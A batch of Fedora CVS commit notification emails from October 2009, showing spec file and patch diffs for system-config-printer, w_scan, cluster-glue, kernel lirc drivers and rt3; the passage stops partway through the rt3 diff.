Date: Mon, 12 Oct 2009 15:42:40 +0000 (UTC)
Subject: rpms/system-config-printer/F-10
	system-config-printer-autoselect-raw.patch, NONE,
	1.1 system-config-printer-find-return-accel.patch, NONE,
	1.1 system-config-printer-network-model.patch, NONE,
	1.1 system-config-printer-physdev-traceback.patch, NONE,
	1.1 system-config-printer.spec, 1.256, 1.257
Message-ID: <20091012154240.04C8D11C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10372

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-autoselect-raw.patch 
	system-config-printer-find-return-accel.patch 
	system-config-printer-network-model.patch 
	system-config-printer-physdev-traceback.patch 
Log Message:
* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3
- Determine make/model for network printers (bug #524321).
- Auto-select the correct driver entry for raw queues.
- Avoid traceback in PhysicalDevice.py.
- Let Return key activate the Find button for Find Network Printer.


system-config-printer-autoselect-raw.patch:
 system-config-printer.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE system-config-printer-autoselect-raw.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.autoselect-raw system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.autoselect-raw	2009-09-30 16:54:07.363635374 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:54:19.189761633 +0100
@@ -3948,8 +3948,8 @@ class NewPrinterGUI(GtkGUI):
                  cupshelpers.ppds.ppdMakeModelSplit (makeandmodel)
             else:
                 # Special CUPS names for a raw queue.
-                self.auto_make = 'Raw'
-                self.auto_model = 'Queue'
+                self.auto_make = 'Generic'
+                self.auto_model = 'Raw Queue'
 
             try:
                 if self.dialog_mode == "ppd":

system-config-printer-find-return-accel.patch:
 NewPrinterWindow.glade |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-find-return-accel.patch ---
diff -up system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel system-config-printer-1.1.13/glade/NewPrinterWindow.glade
--- system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/glade/NewPrinterWindow.glade	2009-09-30 16:50:36.981760810 +0100
@@ -2580,6 +2580,7 @@ DTR/DSR (Hardware)</property>
 						  <property name="relief">GTK_RELIEF_NORMAL</property>
 						  <property name="focus_on_click">True</property>
 						  <signal name="clicked" handler="on_btnNetworkFind_clicked" last_modification_time="Fri, 19 Dec 2008 16:04:53 GMT"/>
+						  <accelerator key="Return" modifiers="0" signal="activate"/>
 						</widget>
 						<packing>
 						  <property name="left_attach">2</property>

system-config-printer-network-model.patch:
 system-config-printer.py |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE system-config-printer-network-model.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.network-model system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.network-model	2009-09-30 16:55:46.115760592 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:55:52.545635754 +0100
@@ -4217,6 +4217,12 @@ class NewPrinterGUI(GtkGUI):
                 if not self.install_hplip_plugin(self.device.uri):
                     self.on_NPCancel(None)
                     return
+
+                if not devid and self.device.type in ["socket", "lpd", "ipp"]:
+                    # This is a network printer whose model we don't yet know.
+                    # Try to discover it.
+                    self.getNetworkPrinterMakeModel ()
+
                 uri = self.device.uri
                 if uri and uri.startswith ("smb://"):
                     uri = SMBURI (uri=uri[6:]).sanitize_uri ()

system-config-printer-physdev-traceback.patch:
 PhysicalDevice.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-physdev-traceback.patch ---
diff -up system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback system-config-printer-1.1.13/PhysicalDevice.py
--- system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/PhysicalDevice.py	2009-09-30 16:52:24.486760364 +0100
@@ -48,6 +48,8 @@ class PhysicalDevice:
                     hostport = ipparam[3:]
                 else:
                     return None
+            else:
+                return None
         else:
             (hostport, rest) = urllib.splithost (rest)
             if hostport == None:


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-10/system-config-printer.spec,v
retrieving revision 1.256
retrieving revision 1.257
diff -u -p -r1.256 -r1.257
--- system-config-printer.spec	22 Sep 2009 10:18:07 -0000	1.256
+++ system-config-printer.spec	12 Oct 2009 15:42:39 -0000	1.257
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -19,6 +19,10 @@ Patch1: system-config-printer-data-butto
 Patch2: system-config-printer-cancel-traceback.patch
 Patch5: system-config-printer-fetchdevices.patch
 Patch6: system-config-printer-missing-import.patch
+Patch7: system-config-printer-find-return-accel.patch
+Patch8: system-config-printer-physdev-traceback.patch
+Patch9: system-config-printer-autoselect-raw.patch
+Patch10: system-config-printer-network-model.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -71,6 +75,10 @@ the configuration tool.
 %patch2 -p1 -b .cancel-traceback
 %patch5 -p1 -b .fetchdevices
 %patch6 -p1 -b .missing-import
+%patch7 -p1 -b .find-return-accel
+%patch8 -p1 -b .physdev-traceback
+%patch9 -p1 -b .autoselect-raw
+%patch10 -p1 -b .network-model
 
 %build
 %configure
@@ -172,6 +180,12 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Mon Oct 12 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3
+- Determine make/model for network printers (bug #524321).
+- Auto-select the correct driver entry for raw queues.
+- Avoid traceback in PhysicalDevice.py.
+- Let Return key activate the Find button for Find Network Printer.
+
 * Tue Sep 22 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-2
 - Fixed traceback when cancelling change-driver dialog.
 - Fixed data button state.



From heffer at fedoraproject.org  Mon Oct 12 15:51:49 2009
From: heffer at fedoraproject.org (Felix Kaechele)
Date: Mon, 12 Oct 2009 15:51:49 +0000 (UTC)
Subject: rpms/w_scan/devel .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 w_scan.spec,
	1.6, 1.7
Message-ID: <20091012155149.6C5BF11C00DB@cvs1.fedora.phx.redhat.com>

Author: heffer

Update of /cvs/pkgs/rpms/w_scan/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11949

Modified Files:
	.cvsignore sources w_scan.spec 
Log Message:
* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
- new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	9 Aug 2009 16:01:02 -0000	1.4
+++ .cvsignore	12 Oct 2009 15:51:49 -0000	1.5
@@ -1 +1 @@
-w_scan-20090808.tar.bz2
+w_scan-20090918.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	9 Aug 2009 16:01:02 -0000	1.4
+++ sources	12 Oct 2009 15:51:49 -0000	1.5
@@ -1 +1 @@
-4aa4faf6363e3b669bbe23172a436b42  w_scan-20090808.tar.bz2
+5102fd735519aebef5ca4919e88c6b00  w_scan-20090918.tar.bz2


Index: w_scan.spec
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/devel/w_scan.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- w_scan.spec	9 Aug 2009 16:01:02 -0000	1.6
+++ w_scan.spec	12 Oct 2009 15:51:49 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           w_scan
-Version:        20090808
+Version:        20090918
 Release:        1%{?dist}
 Summary:        Tool for scanning DVB transponders
 
@@ -22,7 +22,7 @@ iconv -f iso-8859-1 -t utf-8 doc/w_scan.
 touch -r doc/w_scan.1 doc/w_scan.1.utf-8
 mv doc/w_scan.1.utf-8 doc/w_scan.1
 
-dos2unix doc/README.file_formats
+chmod 644 scan.c
 
 %build
 %configure
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
+- new upstream release
+
 * Sat Aug 08 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090808-1
 - fixes 513871
 



From beekhof at fedoraproject.org  Mon Oct 12 15:58:34 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Mon, 12 Oct 2009 15:58:34 +0000 (UTC)
Subject: rpms/cluster-glue/F-12 cluster-glue.spec,1.8,1.9
Message-ID: <20091012155834.5679A11C00DB@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/cluster-glue/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13201

Modified Files:
	cluster-glue.spec 
Log Message:
Fix botched tag


Index: cluster-glue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/F-12/cluster-glue.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- cluster-glue.spec	12 Oct 2009 15:38:01 -0000	1.8
+++ cluster-glue.spec	12 Oct 2009 15:58:34 -0000	1.9
@@ -4,7 +4,7 @@
 
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with: hg archive -t tgz -p "Reusable-Cluster-Components-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 10
+%global specversion 11
 %global upstreamprefix Reusable-Cluster-Components-
 %global upstreamversion b79635605337
 
@@ -186,6 +186,9 @@ such as Pacemaker.
 %doc COPYING.LIB
 
 %changelog
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0-0.11.b79635605337.hg
+- Fix botched tag
+
 * Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 1.0-0.10.b79635605337.hg
 - Add install dependancy on perl-TimeDate for hb_report
 - Update to upstream version b79635605337



From heffer at fedoraproject.org  Mon Oct 12 16:01:22 2009
From: heffer at fedoraproject.org (Felix Kaechele)
Date: Mon, 12 Oct 2009 16:01:22 +0000 (UTC)
Subject: rpms/w_scan/F-12 .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 w_scan.spec,
	1.6, 1.7
Message-ID: <20091012160122.30E2111C00DB@cvs1.fedora.phx.redhat.com>

Author: heffer

Update of /cvs/pkgs/rpms/w_scan/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13683

Modified Files:
	.cvsignore sources w_scan.spec 
Log Message:
* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
- new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	9 Aug 2009 16:01:02 -0000	1.4
+++ .cvsignore	12 Oct 2009 16:01:21 -0000	1.5
@@ -1 +1 @@
-w_scan-20090808.tar.bz2
+w_scan-20090918.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	9 Aug 2009 16:01:02 -0000	1.4
+++ sources	12 Oct 2009 16:01:21 -0000	1.5
@@ -1 +1 @@
-4aa4faf6363e3b669bbe23172a436b42  w_scan-20090808.tar.bz2
+5102fd735519aebef5ca4919e88c6b00  w_scan-20090918.tar.bz2


Index: w_scan.spec
===================================================================
RCS file: /cvs/pkgs/rpms/w_scan/F-12/w_scan.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- w_scan.spec	9 Aug 2009 16:01:02 -0000	1.6
+++ w_scan.spec	12 Oct 2009 16:01:21 -0000	1.7
@@ -1,5 +1,5 @@
 Name:           w_scan
-Version:        20090808
+Version:        20090918
 Release:        1%{?dist}
 Summary:        Tool for scanning DVB transponders
 
@@ -22,7 +22,7 @@ iconv -f iso-8859-1 -t utf-8 doc/w_scan.
 touch -r doc/w_scan.1 doc/w_scan.1.utf-8
 mv doc/w_scan.1.utf-8 doc/w_scan.1
 
-dos2unix doc/README.file_formats
+chmod 644 scan.c
 
 %build
 %configure
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090918-1
+- new upstream release
+
 * Sat Aug 08 2009 Felix Kaechele <heffer at fedoraproject.org> - 20090808-1
 - fixes 513871
 



From jwilson at fedoraproject.org  Mon Oct 12 16:03:12 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Mon, 12 Oct 2009 16:03:12 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec, 1.1822, 1.1823 lirc-2.6.31.patch, 1.3,
	1.4 lirc-2.6.32-fixes.patch, 1.1, NONE
Message-ID: <20091012160312.740A411C00DB@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14613

Modified Files:
	kernel.spec lirc-2.6.31.patch 
Removed Files:
	lirc-2.6.32-fixes.patch 
Log Message:
* Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
- Merge lirc compile fixes into lirc patch
- Refresh lirc patch with additional irq handling fixage
- Fix IR transmit on port 1 of 1st-gen mceusb transceiver
- Support another mouse button variant on imon devices



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1822
retrieving revision 1.1823
diff -u -p -r1.1822 -r1.1823
--- kernel.spec	12 Oct 2009 04:30:03 -0000	1.1822
+++ kernel.spec	12 Oct 2009 16:03:11 -0000	1.1823
@@ -667,7 +667,6 @@ Patch900: linux-2.6-pci-cacheline-sizing
 
 Patch1515: lirc-2.6.31.patch
 Patch1517: hdpvr-ir-enable.patch
-Patch1519: lirc-2.6.32-fixes.patch
 
 # virt + ksm patches
 Patch1551: linux-2.6-ksm-kvm.patch
@@ -1282,8 +1281,6 @@ ApplyPatch linux-2.6-pci-cacheline-sizin
 ApplyPatch lirc-2.6.31.patch
 # enable IR receiver on Hauppauge HD PVR (v4l-dvb merge pending)
 ApplyPatch hdpvr-ir-enable.patch
-# fixes
-ApplyPatch lirc-2.6.32-fixes.patch
 
 # Add kernel KSM support
 # Optimize KVM for KSM support
@@ -1988,6 +1985,12 @@ fi
 # ##############################################################
 
 %changelog
+* Mon Oct 12 2009 Jarod Wilson <jarod at redhat.com>
+- Merge lirc compile fixes into lirc patch
+- Refresh lirc patch with additional irq handling fixage
+- Fix IR transmit on port 1 of 1st-gen mceusb transceiver
+- Support another mouse button variant on imon devices
+
 * Mon Oct 12 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.32-0.24.rc4.git0
 - Last-minute USB fix from upstream.
 

lirc-2.6.31.patch:
 MAINTAINERS                           |    9 
 drivers/input/Kconfig                 |    2 
 drivers/input/Makefile                |    2 
 drivers/input/lirc/Kconfig            |  119 +
 drivers/input/lirc/Makefile           |   21 
 drivers/input/lirc/lirc.h             |  100 +
 drivers/input/lirc/lirc_bt829.c       |  383 +++++
 drivers/input/lirc/lirc_dev.c         |  839 ++++++++++++
 drivers/input/lirc/lirc_dev.h         |  184 ++
 drivers/input/lirc/lirc_ene0100.c     |  645 +++++++++
 drivers/input/lirc/lirc_ene0100.h     |  169 ++
 drivers/input/lirc/lirc_i2c.c         |  537 +++++++
 drivers/input/lirc/lirc_igorplugusb.c |  556 ++++++++
 drivers/input/lirc/lirc_imon.c        | 2308 ++++++++++++++++++++++++++++++++++
 drivers/input/lirc/lirc_it87.c        |  986 ++++++++++++++
 drivers/input/lirc/lirc_it87.h        |  116 +
 drivers/input/lirc/lirc_ite8709.c     |  540 +++++++
 drivers/input/lirc/lirc_mceusb.c      | 1243 ++++++++++++++++++
 drivers/input/lirc/lirc_parallel.c    |  709 ++++++++++
 drivers/input/lirc/lirc_parallel.h    |   26 
 drivers/input/lirc/lirc_sasem.c       |  931 +++++++++++++
 drivers/input/lirc/lirc_serial.c      | 1316 +++++++++++++++++++
 drivers/input/lirc/lirc_sir.c         | 1283 ++++++++++++++++++
 drivers/input/lirc/lirc_streamzap.c   |  794 +++++++++++
 drivers/input/lirc/lirc_ttusbir.c     |  397 +++++
 drivers/input/lirc/lirc_zilog.c       | 1395 ++++++++++++++++++++
 26 files changed, 15610 insertions(+)

Index: lirc-2.6.31.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/lirc-2.6.31.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- lirc-2.6.31.patch	3 Sep 2009 21:02:14 -0000	1.3
+++ lirc-2.6.31.patch	12 Oct 2009 16:03:12 -0000	1.4
@@ -1,6 +1,6 @@
 Linux Infrared Remote Control drivers -- http://www.lirc.org
 
-Last updated: Thursday, September 03, 2009
+Last updated: Monday, October 12, 2009
 
 From http://git.wilsonet.com/linux-2.6-lirc.git/
 
@@ -16,24 +16,24 @@ Signed-off-by: Jarod Wilson <jarod at redha
  drivers/input/lirc/lirc_bt829.c       |  383 ++++++
  drivers/input/lirc/lirc_dev.c         |  839 ++++++++++++
  drivers/input/lirc/lirc_dev.h         |  184 +++
- drivers/input/lirc/lirc_ene0100.c     |  644 +++++++++
+ drivers/input/lirc/lirc_ene0100.c     |  645 +++++++++
  drivers/input/lirc/lirc_ene0100.h     |  169 +++
  drivers/input/lirc/lirc_i2c.c         |  537 ++++++++
  drivers/input/lirc/lirc_igorplugusb.c |  556 ++++++++
- drivers/input/lirc/lirc_imon.c        | 2301 +++++++++++++++++++++++++++++++++
+ drivers/input/lirc/lirc_imon.c        | 2308 +++++++++++++++++++++++++++++++++
  drivers/input/lirc/lirc_it87.c        |  986 ++++++++++++++
  drivers/input/lirc/lirc_it87.h        |  116 ++
- drivers/input/lirc/lirc_ite8709.c     |  539 ++++++++
- drivers/input/lirc/lirc_mceusb.c      | 1242 ++++++++++++++++++
+ drivers/input/lirc/lirc_ite8709.c     |  540 ++++++++
+ drivers/input/lirc/lirc_mceusb.c      | 1243 ++++++++++++++++++
  drivers/input/lirc/lirc_parallel.c    |  709 ++++++++++
  drivers/input/lirc/lirc_parallel.h    |   26 +
  drivers/input/lirc/lirc_sasem.c       |  931 +++++++++++++
  drivers/input/lirc/lirc_serial.c      | 1316 +++++++++++++++++++
  drivers/input/lirc/lirc_sir.c         | 1283 ++++++++++++++++++
- drivers/input/lirc/lirc_streamzap.c   |  794 ++++++++++++
+ drivers/input/lirc/lirc_streamzap.c   |  794 +++++++++++
  drivers/input/lirc/lirc_ttusbir.c     |  397 ++++++
  drivers/input/lirc/lirc_zilog.c       | 1395 ++++++++++++++++++++
- 26 files changed, 15600 insertions(+), 0 deletions(-)
+ 26 files changed, 15610 insertions(+), 0 deletions(-)
 
 diff --git a/MAINTAINERS b/MAINTAINERS
 index 8dca9d8..f25dc26 100644
@@ -1762,10 +1762,10 @@ index 0000000..8eeffa2
 +#endif
 diff --git a/drivers/input/lirc/lirc_ene0100.c b/drivers/input/lirc/lirc_ene0100.c
 new file mode 100644
-index 0000000..e84368f
+index 0000000..6276ce1
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_ene0100.c
-@@ -0,0 +1,644 @@
+@@ -0,0 +1,645 @@
 +/*
 + * driver for ENE KB3926 B/C/D CIR (also known as ENE0100)
 + *
@@ -1792,6 +1792,7 @@ index 0000000..e84368f
 +#include <linux/pnp.h>
 +#include <linux/io.h>
 +#include <linux/interrupt.h>
++#include <linux/sched.h>
 +#include "lirc_ene0100.h"
 +
 +static int sample_period = 75;
@@ -1845,7 +1846,7 @@ index 0000000..e84368f
 +	if (dev->hw_revision < ENE_HW_C) {
 +		irq_status = ene_hw_read_reg(dev, ENEB_IRQ_STATUS);
 +
-+		if (!irq_status & ENEB_IRQ_STATUS_IR)
++		if (!(irq_status & ENEB_IRQ_STATUS_IR))
 +			return 0;
 +		ene_hw_write_reg(dev, ENEB_IRQ_STATUS,
 +				 irq_status & ~ENEB_IRQ_STATUS_IR);
@@ -1856,7 +1857,7 @@ index 0000000..e84368f
 +
 +	irq_status = ene_hw_read_reg(dev, ENEC_IRQ);
 +
-+	if (!irq_status && ENEC_IRQ_STATUS)
++	if (!(irq_status & ENEC_IRQ_STATUS))
 +		return 0;
 +
 +	/* original driver does that twice - a workaround ? */
@@ -3692,10 +3693,10 @@ index 0000000..ff49bdd
 +
 diff --git a/drivers/input/lirc/lirc_imon.c b/drivers/input/lirc/lirc_imon.c
 new file mode 100644
-index 0000000..93acb33
+index 0000000..72d708a
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_imon.c
-@@ -0,0 +1,2301 @@
+@@ -0,0 +1,2308 @@
 +/*
 + *   lirc_imon.c:  LIRC/VFD/LCD driver for SoundGraph iMON IR/VFD/LCD
 + *		   including the iMON PAD model
@@ -4222,7 +4223,8 @@ index 0000000..93acb33
 +}
 +
 +/**
-+ * Sends a packet to the device
++ * Sends a packet to the device -- this function must be called
++ * with context->lock held.
 + */
 +static int send_packet(struct imon_context *context)
 +{
@@ -4400,7 +4402,6 @@ index 0000000..93acb33
 +		return -ENODEV;
 +	}
 +
-+
 +	for (i = 0; i < IMON_CLOCK_ENABLE_PACKETS; i++) {
 +		memcpy(context->usb_tx_buf, clock_enable_pkt[i], 8);
 +		retval = send_packet(context);
@@ -4412,7 +4413,6 @@ index 0000000..93acb33
 +	}
 +
 +	return retval;
-+
 +}
 +
 +/**
@@ -4809,8 +4809,11 @@ index 0000000..93acb33
 +	context->rx.prev_bit = 0;
 +
 +	/* set new IR protocol if it has changed since init or last open */
-+	if (ir_protocol != context->ir_protocol)
++	if (ir_protocol != context->ir_protocol) {
++		mutex_lock(&context->lock);
 +		imon_set_ir_protocol(context);
++		mutex_unlock(&context->lock);
++	}
 +
 +	context->ir_isopen = 1;
 +	printk(KERN_INFO MOD_NAME ": IR port opened\n");
@@ -5065,6 +5068,10 @@ index 0000000..93acb33
 +				rel_y |= ~0x0f;
 +			rel_y = rel_y + rel_y / 2;
 +			right_shift = 2;
++		/* some ffdc devices decode mouse buttons differently... */
++		} else if (context->ffdc_dev && (buf[0] == 0x68)) {
++			mouse_input = 1;
++			right_shift = 2;
 +		/* ch+/- buttons, which we use for an emulated scroll wheel */
 +		} else if (!memcmp(buf, ch_up, 4)) {
 +			mouse_input = 1;
@@ -5083,15 +5090,16 @@ index 0000000..93acb33
 +			}
 +			dprintk("sending mouse data via input subsystem\n");
 +
-+			if (dir == 0) {
-+				input_report_key(mouse, BTN_LEFT,
-+						 buf[1] & 0x01);
-+				input_report_key(mouse, BTN_RIGHT,
-+						 buf[1] >> right_shift & 0x01);
++			if (dir) {
++				input_report_rel(mouse, REL_WHEEL, dir);
++			} else if (rel_x || rel_y) {
 +				input_report_rel(mouse, REL_X, rel_x);
 +				input_report_rel(mouse, REL_Y, rel_y);
-+			} else
-+				input_report_rel(mouse, REL_WHEEL, dir);
++			} else {
++				input_report_key(mouse, BTN_LEFT, buf[1] & 0x1);
++				input_report_key(mouse, BTN_RIGHT,
++						 buf[1] >> right_shift & 0x1);
++			}
 +			input_sync(mouse);
 +			return;
 +		}
@@ -7113,10 +7121,10 @@ index 0000000..cf021c8
 +/********************************* ITE IT87xx ************************/
 diff --git a/drivers/input/lirc/lirc_ite8709.c b/drivers/input/lirc/lirc_ite8709.c
 new file mode 100644
-index 0000000..3d53181
+index 0000000..3be37ae
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_ite8709.c
-@@ -0,0 +1,539 @@
+@@ -0,0 +1,540 @@
 +/*
 + * LIRC driver for ITE8709 CIR port
 + *
@@ -7140,6 +7148,7 @@ index 0000000..3d53181
 +
 +#include <linux/module.h>
 +#include <linux/interrupt.h>
++#include <linux/sched.h>
 +#include <linux/delay.h>
 +#include <linux/pnp.h>
 +#include <linux/io.h>
@@ -7658,10 +7667,10 @@ index 0000000..3d53181
 +MODULE_PARM_DESC(debug, "Enable debugging messages");
 diff --git a/drivers/input/lirc/lirc_mceusb.c b/drivers/input/lirc/lirc_mceusb.c
 new file mode 100644
-index 0000000..8b48a56
+index 0000000..80ee8b1
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_mceusb.c
-@@ -0,0 +1,1242 @@
+@@ -0,0 +1,1243 @@
 +/*
 + * LIRC driver for Windows Media Center Edition USB Infrared Transceivers
 + *
@@ -7883,6 +7892,7 @@ index 0000000..8b48a56
 +};
 +
 +static struct usb_device_id transmitter_mask_list[] = {
++	{ USB_DEVICE(VENDOR_MICROSOFT, 0x006d) },
 +	{ USB_DEVICE(VENDOR_SMK, 0x031d) },
 +	{ USB_DEVICE(VENDOR_SMK, 0x0322) },
 +	{ USB_DEVICE(VENDOR_SMK, 0x0334) },
@@ -8531,20 +8541,20 @@ index 0000000..8b48a56
 +	dprintk("%s - data[0] = %d, data[1] = %d\n",
 +		__func__, data[0], data[1]);
 +
-+	/* set feature */
++	/* set feature: bit rate 38400 bps */
 +	ret = usb_control_msg(ir->usbdev, usb_sndctrlpipe(ir->usbdev, 0),
 +			      USB_REQ_SET_FEATURE, USB_TYPE_VENDOR,
 +			      0xc04e, 0x0000, NULL, 0, HZ * 3);
 +
 +	dprintk("%s - ret = %d\n", __func__, ret);
 +
-+	/* strange: bRequest == 4 */
++	/* bRequest 4: set char length to 8 bits */
 +	ret = usb_control_msg(ir->usbdev, usb_sndctrlpipe(ir->usbdev, 0),
 +			      4, USB_TYPE_VENDOR,
 +			      0x0808, 0x0000, NULL, 0, HZ * 3);
 +	dprintk("%s - retB = %d\n", __func__, ret);
 +
-+	/* strange: bRequest == 2 */
++	/* bRequest 2: set handshaking to use DTR/DSR */
 +	ret = usb_control_msg(ir->usbdev, usb_sndctrlpipe(ir->usbdev, 0),
 +			      2, USB_TYPE_VENDOR,
 +			      0x0000, 0x0100, NULL, 0, HZ * 3);
@@ -11912,7 +11922,7 @@ index 0000000..d602e90
 +MODULE_PARM_DESC(debug, "Enable debugging messages");
 diff --git a/drivers/input/lirc/lirc_sir.c b/drivers/input/lirc/lirc_sir.c
 new file mode 100644
-index 0000000..b497642
+index 0000000..d28d006
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_sir.c
 @@ -0,0 +1,1283 @@
@@ -12292,7 +12302,7 @@ index 0000000..b497642
 +	case LIRC_SET_SEND_DUTY_CYCLE:
 +		retval = get_user(ivalue, (unsigned int *) arg);
 +		if (retval)
-+			return reetval;
++			return retval;
 +		if (ivalue <= 0 || ivalue > 100)
 +			return -EINVAL;
 +		/* (ivalue/100)*(1000000/freq) */
@@ -14404,7 +14414,7 @@ index 0000000..2955bad
 +module_exit(ttusbir_exit_module);
 diff --git a/drivers/input/lirc/lirc_zilog.c b/drivers/input/lirc/lirc_zilog.c
 new file mode 100644
-index 0000000..c4080f5
+index 0000000..13a2eed
 --- /dev/null
 +++ b/drivers/input/lirc/lirc_zilog.c
 @@ -0,0 +1,1395 @@


--- lirc-2.6.32-fixes.patch DELETED ---



From corsepiu at fedoraproject.org  Mon Oct 12 16:03:22 2009
From: corsepiu at fedoraproject.org (corsepiu)
Date: Mon, 12 Oct 2009 16:03:22 +0000 (UTC)
Subject: rpms/rt3/devel .cvsignore, 1.14, 1.15 rt3.spec, 1.45, 1.46 sources, 
	1.14, 1.15 rt-3.8.4-rh-bz526870.diff, 1.1, NONE
Message-ID: <20091012160322.2430511C00DB@cvs1.fedora.phx.redhat.com>

Author: corsepiu

Update of /cvs/pkgs/rpms/rt3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14680

Modified Files:
	.cvsignore rt3.spec sources 
Removed Files:
	rt-3.8.4-rh-bz526870.diff 
Log Message:
* Mon Oct 12 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 3.8.5-1
- Upstream update.
- Remove rt-3.8.4-rh-bz526870.diff.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Jun 2009 04:13:40 -0000	1.14
+++ .cvsignore	12 Oct 2009 16:03:21 -0000	1.15
@@ -1 +1 @@
-rt-3.8.4.tar.gz
+rt-3.8.5.tar.gz


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/devel/rt3.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- rt3.spec	12 Oct 2009 15:33:02 -0000	1.45
+++ rt3.spec	12 Oct 2009 16:03:21 -0000	1.46
@@ -39,8 +39,8 @@
 %define RT3_LOCALSTATEDIR	%{_localstatedir}/lib/rt3
 
 Name:		rt3
-Version:	3.8.4
-Release:	5%{?dist}
+Version:	3.8.5
+Release:	1%{?dist}
 Summary:	Request tracker 3
 
 Group:		Applications/Internet
@@ -55,11 +55,6 @@ Patch0:		rt-3.8.4-config.diff
 Patch2:		rt-3.8.4-Makefile.diff
 Patch3:		rt-3.8.4-test-dependencies.diff
 
